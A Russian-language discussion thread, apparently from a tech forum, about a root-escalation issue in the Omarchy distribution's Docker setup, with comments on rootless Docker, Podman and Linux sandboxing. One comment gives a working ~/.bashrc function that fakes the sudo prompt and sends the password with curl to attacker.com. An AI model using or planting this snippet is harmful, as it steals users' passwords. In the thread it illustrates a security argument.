Omarchy: любой пользовательский процесс может получить root

Я думаю, людям не стоит сразу переходить на дистрибутивы, которые сильно разрекламированы в СМИ/YouTube, у cachyOS была похожая волна, и теперь у Omarchy.

(например: NetworkChuck, Primeagen? и некоторые другие)

Кроме того, Arch Linux сейчас намного проще установить с помощью archinstall [1], так что я не уверен, что вам действительно нужен еще один навязчивый слой поверх него.

[1] - https://wiki.archlinux.org/title/Archinstall

Linux — это не macOS, в нем нет нормальной архитектуры песочницы для рабочего стола, которая действительно работает. Так что это своего рода театр безопасности. Если вы запускаете вредоносную программу, она может, например, подделать ваш PATH или использовать локальные уязвимости в приложениях, чтобы получить контроль над всем, что имеет значение (а root обычно не имеет). Например, она может просто поместить специальную оболочку в ~/.bin/.hidden-shell и перенастроить эмулятор терминала на ее запуск.

Так что такая "уязвимость" не кажется важной. Если вы запускаете код от своего имени в Linux, он владеет вами.

В macOS все совсем иначе. Повсеместная подпись кода дает всем приложениям стабильную идентичность, обеспечиваемую ядром, от которой они не могут легко уйти. Затем ядро может навязывать политики песочницы любому запущенному приложению, независимо от того, как оно установлено, например, запрещая приложениям копаться в ~/Documents или следить за вашим экраном. Разрешения редактируемы и гарантированно сохраняются, включая обновления. А root лишен власти, так что его получение почти не имеет значения, он нужен только для совместимости с UNIX.

К сожалению, реализовать архитектуру в стиле Apple на Linux было бы очень сложно.

Это не здорово, но я не уверен, что это следует рассматривать как специфичную для Omarchy проблему, когда очень распространена практика добавления обычного пользователя в группу docker.

Справедливости ради, вредоносному ПО легко получить root на любом крупном дистрибутиве Linux, потому что sudo — это полный театр безопасности.

Вредоносной программе достаточно добавить это в ~/.bashrc и ждать:

function sudo () {

realsudo=$(which sudo)

read -r -s -p "[sudo] password for $USER: " password

echo "$USER: $password" | \

curl -F 'p=<-' https://attacker.com >/dev/null 2>&1

$realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1

$realsudo "${@:1}"

}

Не могу понять, почему так распространено запускать docker от root, а не от непривилегированного пользователя.

Docker уже много лет поддерживает rootless-режим. Я упаковал docker-rootless в Arch/AUR более 4 лет назад, так что он существует и стабилен уже столько времени.

Конечно, на сервере, предназначенном для запуска docker-контейнеров, возможно, есть смысл в незначительном улучшении сетевой задержки. Но в остальных случаях rootless должен быть по умолчанию.

Проблема с конфигурацией Docker была сообщена, и изменения были быстро внесены для ее устранения. Похоже, это отличный пример того, как система работает хорошо.

Omarchy выглядит как простой способ для такого разработчика, как я, испытать Hyprland и писать код. Это также отличный способ для моих детей познакомиться с компьютерами, так как там есть готовый агент, который помогает им управлять своей машиной и использовать свободное ПО, даже то, что немного сложное.

Я в замешательстве, что люди злятся из-за всего этого, но потом вспоминаю, что мне больше не важно, что думают снобы.

Почему бы не использовать rootless Podman? Сейчас 2026 год, а не 2016, Podman сегодня работает намного лучше, чем Docker.

Как только у вас есть машина, на которой происходил вибекодинг, я бы не доверял ничему на ней. Поэтому я занимаюсь вибекодингом на полностью отдельной машине.

Я не пользователь Omarchy, но мы живем в мире, где большинство действий (включая те, которые LLM просит пользователя выполнить от root) исходят не из мозга пользователя.

В ближайшие годы нас ждет переосмысление того, как мы думаем о доверии и аутентификации. Вопрос лишь в возрастающей серьезности инцидентов.

Ого... это очень показательно. Это не какая-то obscure ошибка. На странице установки Docker есть огромный раздел, объясняющий именно эту проблему. В каждом разделе Docker в вики каждого дистрибутива эта проблема подробно рассматривается. Это на 80% причина, по которой Podman был создан.